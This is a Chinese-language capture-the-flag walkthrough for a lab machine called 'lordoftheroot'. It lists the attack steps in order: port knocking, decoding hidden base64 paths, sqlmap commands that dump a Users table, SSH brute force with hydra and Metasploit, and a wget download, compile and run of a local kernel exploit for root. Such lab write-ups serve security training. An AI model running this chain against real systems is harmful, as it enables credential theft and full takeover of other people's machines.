lordoftheroot

开放22端口，ssh连接尝试

ssh 192.168.19.174

提示1，2，3 意在端口碰撞

没有knock命令需要先安装

另一种命令

安装不成功时需要换源见尾部内容

安装完成后使用

knock 192.168.19.174 1 2 3 -v

再次扫描全端口，发现1337端口

访问1337端口，发现一张图片，没什么价值

访问robots.txt文件

查看源码，发现一串字符（base64编码）

THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh

另一种解码方式

echo 'THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh' | base64 -d

发现还有一层，继续解码

Lzk3ODM0NTIxMC9pbmRleC5waHA=

发现网站首页，访问查看

是一个登录界面

尝试sql注入

直接利用sqlmap跑

sqlmap -u "http://192.168.19.174:1337/978345210/index.php" --forms

一路回车即可

可以看到最下面，提到又基于时间的盲注漏洞

尝试爆库

sqlmap -u "http://192.168.19.174:1337/978345210/index.php" --forms  --dbs

爆出来四个数据库

[*] information_schema

[*] mysql

[*] performance_schema

[*] Webapp

针对Webapp数据库进行爆破里面的表

sqlmap -o -u "http://192.168.19.174:1337/978345210/index.php" --forms -D Webapp --tables

发现一个表Users

爆破字段名

sqlmap -o -u "http://192.168.19.174:1337/978345210/index.php" --forms -D Webapp -T Users --columns

爆破字段内容信息

sqlmap -o -u "http://192.168.19.174:1337/978345210/index.php" --forms -D Webapp -T Users --columns -C id,username,password --dump

将拿到的用户名密码字段写入字典user.txt和password.txt中

第一种hydra爆破

hydra -L user.txt -P password.txt 192.168.19.174 ssh

第二种msf爆破

msfconsole

search ssh_login

use auxiliary/scanner/ssh/ssh_login

set rhosts 192.168.19.174

set user_file /root/lordoftheroot/user.txt

set pass_file /root/lordoftheroot/password.txt

set stop_on_success true

ssh 登录

提权

searchsploit 39166.c

locate linux/local/40847.cpp  有时候这个命令不灵

cp /usr/share/exploitdb/exploits/linux/local/39166.c ./

python -m SimpleHTTPServer 8081

wget http://192.168.19.147:8081/39166.c

gcc 39166.c -o lordoftheroot

chmod +x lordoftheroot

./lordoftheroot

cd /root

cat Flag.txt